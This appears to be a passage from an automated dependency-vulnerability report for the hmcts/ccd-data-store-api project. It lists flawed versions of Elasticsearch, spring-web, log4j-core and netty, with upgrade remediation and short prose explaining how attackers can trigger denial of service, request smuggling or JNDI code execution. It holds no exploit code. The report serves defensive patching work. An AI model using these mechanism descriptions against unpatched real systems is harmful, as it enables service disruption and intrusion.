  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-geo@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-geo@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-geo@7.16.2

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) through the handling of Well-Known Text formatted strings with nested GeometryCollection objects. An attacker can cause a stackoverflow by sending specially crafted requests that exploit this recursion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.elasticsearch:elasticsearch-geo to version 7.17.24, 8.15.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the form of improper ETag prefix validation when parsing ETags from the If-Match or If-None-Match request headers. An attacker can exploit this vulnerability to cause denial of service by sending a maliciously crafted conditional HTTP request.

Workaround

Users of older, unsupported versions could enforce a size limit on If-Match and If-None-Match headers, e.g. through a Filter.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework:spring-web to version 5.3.38, 6.0.23, 6.1.12 or higher.

References

medium severity

Privilege Escalation

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Privilege Escalation. Upgrading from version 6.x to 7.x would disable the in-built protections on the security index, allowing authenticated users with * index permissions access to this index.

Note: Users that are planning to upgrade from 6.x should not perform an upgrade from 6.x to versions 7.16 through 7.17.0 and should use 7.17.1+ for upgrades from 6.x.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.1 or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.

In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).

Alternative Remediation

If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:

  • Disable/remove JDBCAppender
  • If JDBCAppender is used, make sure that it is not configured to use any protocol other than Java

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Denial of Service (DoS). When the post request body data received by the server is greater than 16k, netty will use DiskAttribute, which will create a temporary file, and use deleteOnExit() when the file needs to be deleted, which results in DeleteOnExitHook.files continually growing and leading to a denial of service.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.53.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty currently just skips control characters when these are present at the beginning or end of the header name. It should instead fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore, and therefore does not do the validation itself.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.71.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty mishandles whitespace before the colon in HTTP headers such as a Transfer-Encoding : chunked line. This can lead to HTTP request smuggling where an attacker can bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

Note:

io.netty:netty is deprecated. Users should update to io.netty:netty-all

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.42.Final or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Denial of Service (DoS) such that if the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which leads the server to buffer up to 16MB of data per connection.

The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.

Note:

An attacker can craft a packet that makes the SslClientHelloHandler to:

  1. Allocate a 16MB ByteBuf.

  2. Not fail decode method in buffer.

  3. Get out of the loop without an exception.

The combination of this without the use of a timeout makes it easy to connect to a TCP server and allocate 16MB of heap memory per connection.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-handler to version 4.1.94.Final or higher.

References

medium severity

Stack-based Buffer Overflow

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.13.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Stack-based Buffer Overflow via the _search API.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.13, 8.9.1 or higher.

References

medium severity
new

Improper Validation of Certificate with Host Mismatch

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.

Workaround

This vulnerability can be mitigated by configuring the SocketAppender to use a private or restricted trust root to limit the set of trusted certificates.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.

References

medium severity

Information Disclosure

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.

When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled. On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure. The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.59.Final or higher.

References

medium severity

Information Disclosure

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.

When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled. On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure. The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.

Remediation

Upgrade io.netty:netty-handler to version 4.1.59.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up.

An additional case of this vulnerability was fixed in 4.1.61.Final (CVE-2021-21409).

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.60.Final or higher.

References

medium severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
